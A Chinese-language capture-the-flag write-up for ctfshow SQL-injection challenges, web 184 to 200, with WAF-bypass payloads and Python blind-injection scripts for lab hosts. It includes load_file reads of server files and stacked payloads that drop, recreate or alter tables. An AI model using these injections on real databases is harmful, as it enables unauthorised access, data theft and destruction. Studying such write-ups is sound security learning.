tableName=%60ctfshow_user%60where%60pass%60like'ctfshow%7B%25'

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import time
import requests

url='http://4da294cf-ea10-4a96-bea7-83f917a82b67.challenge.ctf.show/select-waf.php'
letter = "0123456789abcdefghijklmnopqrstuvwxyz-{}"
flag="ctfshow{"
for i in range(50):
for k in letter:
# data = {"tableName":"`ctfshow_user`where`pass`regexp('{}')".format(flag + k)}
data = {"tableName": "`ctfshow_user`where`pass`like\'{}%\'".format(flag + k)}
r=requests.post(url=url,data=data)
time.sleep(0.3)
if r.text.find("$user_count = 1;") > 0:
flag=flag+k
print(flag)
break
if k == "}":
exit()

Web184

查询语句

1
2
3
//拼接sql语句查找指定ID用户
$sql = "select count(*) from ".$_POST['tableName'].";";

返回逻辑

1
2
3
4
5
6
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}


查询结果

1
2
//返回用户表的记录总数
$user_count = 0;

增加过滤where union,但是未过滤括号

使用having代替where,having的语法是:

表名 group by 查询的数据 having 添加条件,只返回符合条件的数据 like ‘flag

过滤了’’单引号和””双引号,使用16进制转换绕过

1
2
ctfshow_user group by pass having pass like ctfshow{%
ctfshow_user group by pass having pass like 0x63746673686f777b25

使用布尔盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import time
url="http://4cbbbdfa-658e-4095-8e37-bd780b48252f.challenge.ctf.show/select-waf.php"

flagstr="ctfshow{qeryuipadgjklzxvbnm0123456789-}_" #40
flag=""
for i in range(0,40):
for x in flagstr:
data={
"tableName":"ctfshow_user group by pass having pass like 0x63746673686f777b{}25".format("".join(hex(ord(i))[2:] for i in flag+x))
}
#print(data)
response=requests.post(url,data=data)
#有并发数量限制的,就睡一段时间
time.sleep(0.3)
if response.text.find("$user_count = 1;")>0:
print("++++++++++++++++ {} is right".format(x))
flag+=x
break
else:
continue
print("ctfshow{"+flag)


Web185

查询语句

1
2
3
//拼接sql语句查找指定ID用户
$sql = "select count(*) from ".$_POST['tableName'].";";

返回逻辑

1
2
3
4
5
6
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}


查询结果

1
2
3
//返回用户表的记录总数
$user_count = 0;

增加过滤数字无法使用十六进制绕过

发现concat方法,可以构造字符串

使用 true 结合 concat 拼接出数字

  1. 手工注入

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    ctfshow{ 的十六进制为 0x63746673686f777b
    c 的 ASCII码,十六进制值为:0x63,十进制值为:99
    本题黑名单增加了数字,因此需要构造数字



    1)构造数字
    false 等于 0,true 等于 1,且 true+true = 2(这点非常重要)

    构造十六进制
    0x63 我们可以写成 false,‘x’,true+true+true+true+true+true,true+true+true
    用 concat() 进行连接 concat(false,‘x’,(true+true+true+true+true+true),(true+true+true))
    这样在本地环境中可得 0x63
    但很可惜,x 使用了单引号(被过滤),尝试用数字表示 x

    2)构造字母
    这里核心为 char(),支持十进制(数字、字符串)和十六进制(仅数字)
    x 的 ASCII码,十六进制值为:0x78,十进制值为:120
    获取 x 的三种方法:char(0x78)、char(120)、char('120')
    在上面,构造十六进制出现问题,因此此处构造十进制

    构造十进制
    x 的十进制为 120,120个 true 相加即可,实现起来非常简单(可以使用运算符,但注意是否存在运算符被屏蔽的情况)
    这里选择拆分120
    120 转为字符串,拆分成1、2、0,可用 true、true+true、false
    如下可获取 x
    char(concat(true,(true+true),false))


    3)构造指定字母的ASCII码十六进制的值
    ctfshow{ 的十六进制为 0x63746673686f777b
    c 的 ASCII码,十六进制值为:0x63,十进制值为:99
    x 的 ASCII码,十六进制值为:0x78,十进制值为:120
    构造 ctf 的十六进制(0x637466)
    concat(false,char(concat(true,(true+true),false)),(true+true+true+true+true+true),(true+true+true),(true+true+true+true+true+true+true),(true+true+true+true),(true+true+true+true+true+true),(true+true+true+true+true+true))

    -- 然后发现在本地环境根本跑不出来
    -- 0x637466 为字符串,mysql仅支持十六进制的数字,不支持十六进制的字符串

    4)构造指定字母的ASCII码十进制的值
    mysql支持十进制的数字和字符串,此条在上面有说明
    这里以 ctf 为例
    c(十进制99):char(concat((power((true+true),(true+true+true))+true),(power((true+true),(true+true+true))+true)))
    t(十进制116):char(concat(true,true,(true+true+true+true+true+true)))
    f(十进制102):char(concat(true,false,(true+true)))
    ctf:concat(char(concat((power((true+true),(true+true+true))+true),(power((true+true),(true+true+true))+true))),char(concat(true,true,(true+true+true+true+true+true))),char(concat(true,false,(true+true))))

    payload:

    1
    2
    3
    4
    //原payload为:tableName=ctfshow_user group by pass having pass regexp(ctf)
    tableName=ctfshow_user group by pass having pass regexp(concat(char(concat((power((true+true),(true+true+true))+true),(power((true+true),(true+true+true))+true))),char(concat(true,true,(true+true+true+true+true+true))),char(concat(true,false,(true+true)))))

    tableName=ctfshow_user%20group%20by%20pass%20having%20pass%20regexp(concat(char(concat((power((true%2Btrue)%2C(true%2Btrue%2Btrue))%2Btrue)%2C(power((true%2Btrue)%2C(true%2Btrue%2Btrue))%2Btrue)))%2Cchar(concat(true%2Ctrue%2C(true%2Btrue%2Btrue%2Btrue%2Btrue%2Btrue)))%2Cchar(concat(true%2Cfalse%2C(true%2Btrue)))))
  2. python脚本

    p1

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    import requests

    url = 'http://40366ff2-d00e-4911-80ec-2a840f21ffb8.challenge.ctf.show/select-waf.php'
    strlist = '{0123456789-abcdef}'
    flagstr = ''
    flag = ''
    strdict = {'0':'false,','1':'true,','2':'(true+true),',
    '3':'(true+true+true),','4':'(true+true+true+true),',
    '5':'(true+true+true+true+true),','6':'(true+true+true+true+true+true),',
    '7':'(power((true+true),(true+true+true))-true),',
    '8':'(power((true+true),(true+true+true))),',
    '9':'(power((true+true),(true+true+true))+true),'
    }

    while True: #不知道 flag 长度(实际有38位,从{算起,到}结束)
    for i in strlist:
    m = ''
    #将每个字符转成 Unicode编码对应的十进制(Unicode编码为ASCII码扩展)
    #对其十进制进行拆分转换,这样可以降低一点时间复杂度
    for x in str(ord(i)):
    m += strdict[x]
    m = 'char(concat('+m[:-1]+')),'

    data = {
    'tableName': "ctfshow_user group by pass having pass regexp(concat({}))".format(flagstr+m[:-1])
    }

    respond = requests.post(url, data=data) # 获取页面代码
    respond = respond.text # 解析成字符串类型
    if 'user_count = 1' in respond:
    print('--------------------正确',i)
    flagstr += m
    flag += i
    print('ctfshow'+flag)
    break
    else:print('==================='+i+'错误')
    if flag[-1] == '}':exit() #判断 flag 是否获取完整

    p2

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    import requests
    import time
    import string

    def formatString(str):
    temp="concat("
    for x in str:
    tip=0
    if x in string.digits:
    tmp=int(x)
    else:
    tip=1
    temp+="char("
    tmp=ord(x)
    if tmp == 0:
    temp+="false"
    else:
    temp_d="("
    for i in range(0,tmp):
    temp_d+="true+"
    temp_d=temp_d[:-1]+")"
    if tip==1:
    temp_d+=")"
    temp+=temp_d
    temp+=","
    temp=temp[:-1]+")"
    return temp

    #print(formatString("0x63746673686f777b"))

    url="http://40366ff2-d00e-4911-80ec-2a840f21ffb8.challenge.ctf.show/select-waf.php"
    dic="abcdefjhigklmnopqrstuvwxyz0123456789-{}_"
    flag="ctfshow{"
    for i in range(0,40):
    for x in dic:
    data={
    "tableName":"ctfshow_user group by pass having pass regexp({})".format(formatString(flag+x))
    }
    #print(data)
    response=requests.post(url,data=data)
    time.sleep(0.3)
    if response.text.find("$user_count = 1;")>0:
    print("[**] {} is right".format(x))
    flag+=x
    break
    else:
    #print("[--] {} is wrong".format(x))
    continue
    print("[flag]:"+flag)


Web186

查询语句

1
2
3
//拼接sql语句查找指定ID用户
$sql = "select count(*) from ".$_POST['tableName'].";";

返回逻辑

1
2
3
4
5
6
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}


查询结果

1
2
//返回用户表的记录总数
$user_count = 1;

增加了尖括号,^%的过滤。

post上一题的payload发现$user_count = 1;

1
tableName=ctfshow_user%20group%20by%20pass%20having%20pass%20regexp(concat(char(concat((power((true%2Btrue)%2C(true%2Btrue%2Btrue))%2Btrue)%2C(power((true%2Btrue)%2C(true%2Btrue%2Btrue))%2Btrue)))%2Cchar(concat(true%2Ctrue%2C(true%2Btrue%2Btrue%2Btrue%2Btrue%2Btrue)))%2Cchar(concat(true%2Cfalse%2C(true%2Btrue)))))

脚本和web186一致


Web187

查询语句

1
2
3
//拼接sql语句查找指定ID用户
$sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";

返回逻辑

1
2
3
4
5
6
7
8
$username = $_POST['username'];
$password = md5($_POST['password'],true);

//只有admin可以获得flag
if($username!='admin'){
$ret['msg']='用户名不存在';
die(json_encode($ret));
}

下面有一个登录框,泄露用户名为admin

输入任何东西无回显

对于md5($_POST[‘password’],true)这个函数需要条件为真时,才会执行sql语句

md5()函数会将我们输入的值,加密,然后转换成16字符的二进制格式,由于ffifdyop被md5加密后的276f722736c95d99e921722cf9ed621c转换成16位原始二进制格式为’or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c,这个字符串前几位刚好是’ or ‘6

MD5加密 276F722736C95D99E921722CF9ED621C
16位原始二进制格式 ‘or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c
string ‘or’6]!r,b

输入ffifdyop后,内部执行语句就会变为

1
select * from 'admin' where password='or'6�]��!r,��b'

在mysql内,用作布尔型判断时,以1开头的字符串会被当做整型数

必须要有单引号括起来,比如password=’ or ‘1xxxx’,那么就相当于password=’ or 1,所以返回值就是true

所以这里使用的sql语句可以化简为

1
select * from 'admin' where password='or 6

参考文章:

https://blog.csdn.net/qq_58784379/article/details/120504844

payload:

1
username=admin&password=ffifdyop

Web188

查询语句

1
2
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username}";

返回逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//用户名检测
if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==intval($password)){
$ret['msg']='登陆成功';
array_push($ret['data'], array('flag'=>$flag));
}

对用户名过滤

密码只能为数字

但是只要登录成功,就会返回flag。

sql里,数字和字符串的匹配是弱类型比较,字符串会转换为数字,如0==admin,那么如果输入的username是0,则会匹配所有开头不是数字或者为0的字符串和数字0。

password也是弱类型的比较,直接输入0,尝试登录一个用户名和pass的开头是字母或是0的用户。

payload:

1
username=0&password=0

Web189

查询语句

1
2
3
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username}";

返回逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//用户名检测
if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}

username=0&password=0

返回{“code”:0,”msg”:”\u5bc6\u7801\u9519\u8bef”,”count”:0,”data”:[]}

提示密码错误 说明存在用户

username=1&password=0

返回{“code”:0,”msg”:”\u67e5\u8be2\u5931\u8d25”,”count”:0,”data”:[]}

提示查询失败。(说明用户不存在)

hinit:

flag在api/index.php文件中

利用MYSQL读api/index.php

username 存在支持布尔盲注的条件

输出 密码错误 表示条件为真

输出 查询失败 表示条件为假

使用load_file函数读取文件

if(load_file(‘/var/www/html/api/index.php’)regexp’ctfshow{‘,0,1)

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

url = "http://91dcc9d6-f879-4990-8e6a-7655ebf49c36.challenge.ctf.show/api/index.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = "ctfshow{"
for i in range(0,100):
for j in str:
result = flag + j
data = {"username":"if(load_file('/var/www/html/api/index.php')regexp('{}'),0,1)".format(result),
"password":0}
res = requests.post(url=url, data=data)
if r"\u5bc6\u7801\u9519\u8bef" in res.text:
flag += j
print(flag)
if j=="}":
exit()
break

Web190

查询语句

1
2
3
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = '{$username}'";

返回逻辑

1
2
3
4
5
6
7
8
9
10
11
12
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}

//TODO:感觉少了个啥,奇怪

没有过滤

username=admin&password=0返回密码错误

admin’ and 2>’1和admin’ and 2>’3分别返回密码错误和用户名不存在,2>1是true,2>3是false,那么说明,如果and后面表达式为true,则返回密码错误,如果不正确则返回用户名不存在,那么这就是个注入点,可以注入sql语句进行爆破。

  1. 爆破数据库名字:

    1
    admin' and substr(database(),1,1)='c
  2. 爆破数据表的名字:

    1
    admin' and substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),1,1)='c
  3. 爆破字段名字:

    1
    admin' and substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),1,1)='i
  4. 获取flag:

    1
    admin' and substr((select f1ag from ctfshow_fl0g),1,1)='c

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import requests
import sys
import time

##二分法
#
# url = "http://2c447456-33dc-4ab4-a653-2262461ce95c.challenge.ctf.show/api/"
# dic = '}{ctfshow1234567890qeryuipadgjklzxvbnm-_'
# flag = ""
# for k in range(60):
# for i in dic:
#
# #payload = "admin'and (substr((select database()),{},1))#".format(i)
# #ctfshow_web
# #payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)
# #ctfshow_fl0g
# #payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)
# #id,f1ag
# # payload = "admin'and (ascii(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)
# #print(payload)
#
# data = {
# "username":payload,
# "password":0,
# }
# res = requests.post(url = url,data =data)
# time.sleep(0.3)
# if res.text.find("8bef")>0:
# flag+=i
# print('库表列名为:' + flag)
# else:
# exit()

url = "http://19dc3779-a1e7-4a19-8de6-b2f43007068b.challenge.ctf.show/api/"
dic = ' id,ctfshow}{-_1234567890qeryupagjklzxvbnm'
flag = ""

# 注意SQL中substr的索引从1开始,因此从1到60
for pos in range(1, 61):
found = False
for ch in dic:
# 拼接payload,使其判断数据库名称pos位置上的字符是否等于当前字符
# 爆数据库名 ctfshow_web
# payload = "admin' and (substr((select database()),{},1)='{}')#".format(pos, ch)
# 使用子查询获取当前数据库中所有表名并拼接 ctfshow_fl0g
# payload = "admin' and (substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), {}, 1)='{}')#".format(pos, ch)
# 爆列名 id,f1ag
# payload = "admin' and (substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'), {}, 1)='{}')#".format(pos, ch)
#读取f1ag
payload = "admin' and (substr((select f1ag from ctfshow_fl0g), {}, 1)='{}')#".format(pos, ch)
# print("Testing payload:", payload)


data = {
"username": payload,
"password": 0,
}
res = requests.post(url=url, data=data)
time.sleep(0.3)
# 判断返回的文本中是否包含关键字"8bef"
if "8bef" in res.text:
flag += ch
print('当前提取结果:' + flag)
found = True
break # 找到后退出当前字符循环,继续下一位置
if not found:
# 如果该位没有找到匹配字符,则退出循环(可能已经提取完毕)
print("无法在位置 {} 找到匹配字符,停止提取。".format(pos))
break

print("最终提取结果:", flag)


Web191

查询语句

1
2
3
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = '{$username}'";

返回逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}

//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

密码不允许注入,用户名过滤file|into|ascii

admin’ and 2>’1和admin’ and 2>’3分别返回密码错误和用户名不存在,2>1是true,2>3是false,那么说明,如果and后面表达式为true,则返回密码错误,如果不正确则返回用户名不存在,那么这就是个注入点,可以注入sql语句进行爆破。

其他类似web190


Web192

查询语句

1
2
3
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = '{$username}'";

返回逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}

//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii|ord|hex/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

过滤file|into|ascii|ord|hex

admin’ and 2>’1和admin’ and 2>’3分别返回密码错误和用户名不存在,2>1是true,2>3是false,那么说明,如果and后面表达式为true,则返回密码错误,如果不正确则返回用户名不存在,那么这就是个注入点,可以注入sql语句进行爆破。

其他类似web190


Web193

查询语句

1
2
3
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = '{$username}'";

返回逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}

//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii|ord|hex|substr/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

过滤file|into|ascii|ord|hex|substr

admin’ and 2>’1和admin’ and 2>’3分别返回密码错误和用户名不存在,2>1是true,2>3是false,那么说明,如果and后面表达式为true,则返回密码错误,如果不正确则返回用户名不存在,那么这就是个注入点,可以注入sql语句进行爆破。

substr被过滤

其他和截取有关的函数,发现lpad()

lpad(str,len,padstr)
lpad()函数返回字符串strlen小于字符串长度相当于字符串截取;大于字符串长度,则在左填充用字符串padstr直到达到len字符长度。

web190的脚本payload做以下更改

1
2
3
"admin' and (lpad((select f1ag from ctfshow_flxg), {}, '')='{}')#".format(pos, tempstr+ch)

"admin'and ((left((select f1ag from ctfshow_flxg),{})='{}'))#".format(i,tempstr+mid)

lpad()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import requests
import sys
import time

#二分法

# url = "http://9afd37b7-fb23-44b3-9264-8ffe2b8f6513.challenge.ctf.show/api/"
# dic = '}{ctfshow1234567890qeryuipadgjklzxvbnm-_'
# tempstr = ""
# flag = ""
# for k in range(60):
# for i in dic:
#
# #payload = "admin'and ((lpad((select database()),{},'')='{}'))#".format(i,tempstr+mid)
# #ctfshow_web
# #payload = "admin'and ((lpad((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},'')='{}'))#".format(i,tempstr+mid)
# #ctfshow_flxg
# #payload = "admin'and ((lpad((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{},'')='{}'))#".format(i,tempstr+mid)
# #id,f1ag
# payload = "admin'and ((lpad((select f1ag from ctfshow_flxg),{},'')='{}'))#".format(k,tempstr+i)
# print(payload)
#
# data = {
# "username":payload,
# "password":1,
# }
# res = requests.post(url = url,data =data)
# time.sleep(0.3)
# if res.text.find("8bef")>0:
# tempstr += i
# flag+=i
# print('库表列名为:' + flag)


# url = "http://9afd37b7-fb23-44b3-9264-8ffe2b8f6513.challenge.ctf.show/api/"
# dic = ' id,ctfshow}{-_1234567890qeryupagjklzxvbnm'
# flag = ""
# tempstr = ""
# # 注意SQL中substr的索引从1开始,因此从1到60
# for pos in range(1, 61):
# found = False
# for ch in dic:
#
# # 拼接payload,使其判断数据库名称pos位置上的字符是否等于当前字符
# # 爆数据库名 ctfshow_web
# # payload = "admin' and ((lpad((select database()),{},1)='{}'))#".format(pos, tempstr+ch)
# # 使用子查询获取当前数据库中所有表名并拼接 ctfshow_flxg
# # payload = "admin' and (lpad((select group_concat(table_name) from information_schema.tables where table_schema=database()), {}, 1)='{}')#".format(pos, tempstr+ch)
# # 爆列名 id,f1ag
# # payload = "admin' and (lpad((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'), {}, 1)='{}')#".format(pos, tempstr+ch)
# #读取f1ag
# payload = "admin' and (lpad((select f1ag from ctfshow_flxg), {}, '')='{}')#".format(pos, tempstr+ch)
# # print("Testing payload:", payload)
#
#
# data = {
# "username": payload,
# "password": 0,
# }
# res = requests.post(url=url, data=data)
# time.sleep(0.3)
# # 判断返回的文本中是否包含关键字"8bef"
# if "8bef" in res.text:
# tempstr += ch
# flag += ch
# print('当前提取结果:' + flag)
# found = True
# break # 找到后退出当前字符循环,继续下一位置
# if not found:
# # 如果该位没有找到匹配字符,则退出循环(可能已经提取完毕)
# print("无法在位置 {} 找到匹配字符,停止提取。".format(pos))
# break
#
# print("最终提取结果:", flag)


left()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
import sys
import time

url = "http://077c3f46-7703-4fa9-8cfb-247c985473b3.challenge.ctf.show/api/"

flagstr = ",_}{abcdefghijklmnopqr-stuvwxyz0123456789"
tempstr = ""
flag = ""
for i in range(1,60):
for mid in flagstr:
#payload = "admin'and ((left((select database()),{})='{}'))#".format(i,tempstr+mid)
#ctfshow_web
#payload = "admin'and ((left((select group_concat(table_name) from information_schema.tables where table_schema=database()),{})='{}'))#".format(i,tempstr+mid)
#ctfshow_flxg
#payload = "admin'and ((left((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{})='{}'))#".format(i,tempstr+mid)
#id,f1ag
payload = "admin'and ((left((select f1ag from ctfshow_flxg),{})='{}'))#".format(i,tempstr+mid)

data = {
"username":payload,
"password":0,
}
res = requests.post(url = url,data =data)
time.sleep(0.3)
if res.text.find("8bef")>0:
tempstr += mid
flag += mid
print("++++++++++++++++++++"+flag)
break


Web194

查询语句

1
2
3
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = '{$username}'";

返回逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}

//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii|ord|hex|substr|char|left|right|substring/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

left无法使用

lpad然可以使用

参考web194脚本


Web195

查询语句

1
2
3
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";

返回逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}

//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}

进行堆叠注入

用户名输入
0;update`ctfshow_user`set`pass`=1
密码输入

1
提交两次即可,第一次触发修改

payload:

1
username=0;update`ctfshow_user`set`pass`=1&password=1

进一步学习

堆叠注入详解


Web196

查询语句

1
2
3
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";

返回逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

if(strlen($username)>16){
$ret['msg']='用户名不能超过16个字符';
die(json_encode($ret));
}

if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}

可以用select绕过password的if判断。

判断条件满足的设定是$row[0]==$password,$row存储的是结果集中的一行数据,$row[0]就是这一行的第一个数据。
既然可以堆叠注入,就是可以多语句查询,$row应该也会逐一循环获取每个结果集。

那么可以输入username为1;select(5),password为5。当$row获取到第二个查询语句select(5)的结果集时,即可获得$row[0]=5,那么password输入5就可以满足条件判断。
payload:

1
username=1;select(5)&password=5

Web197

查询语句

1
2
3
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";

返回逻辑

1
2
3
4
5
6
7
8
9
10
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}

select被过滤

方法一

已知tablename为ctfshow_user

payload:

1
username=1;show tables&password=ctfshow_user

方法二

更新表。过滤了update,但我们可以删表,重新建一个同样表名的表,列名给的查询语句也已经告知,分别是username和pass。

payload:

1
0;drop table ctfshow_user;create table ctfshow_user(`username` varchar(100),`pass` varchar(100));insert ctfshow_user(`username`,`pass`) value(1,1)

这里的意思就是删除以前的表,再自己新建一个并且插入数据:username=1,pass=1

然后直接输入1为用户名和密码,登录即可得到flag。


Web198

查询语句

1
2
3
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";

返回逻辑

1
2
3
4
5
6
7
8
9
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}

方法一

已知tablename为ctfshow_user

payload:

1
username=1;show tables&password=ctfshow_user

方法二:本题把drop和create都过滤了,不能直接删表重建了。

在已知有一个默认用户名为userAUTO的情况下,这里可以考虑列名互换。
将username和pass互换,这样就可以用userAUTO进行密码登录了。

payload:

1
2
0;alter table ctfshow_user change `username` `passw` varchar(100);alter table ctfshow_user change `pass` `username` varchar(100);alter table ctfshow_user change `passw` `pass` varchar(100);

最后,用户名为0,密码为userAUTO登陆即可


Web199

查询语句

1
2
3
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";

返回逻辑

1
2
3
4
5
6
7
8
9
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}

方法一

已知tablename为ctfshow_user

payload:

1
username=1;show tables&password=ctfshow_user

方法二:本题过滤了括号,限制了之前payload中的varchar(100),可以改为text。

payload:

1
0;alter table ctfshow_user change `username` `passw` text;alter table ctfshow_user change `pass` `username` text;alter table ctfshow_user change `passw` `pass` text;

最后,用户名为0,密码为userAUTO登陆即可


Web200

查询语句

1
2
3
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";

返回逻辑

1
2
3
4
5
6
7
8
9
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(|\,/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}

方法一

已知tablename为ctfshow_user

payload:

1
username=1;show tables&password=ctfshow_user

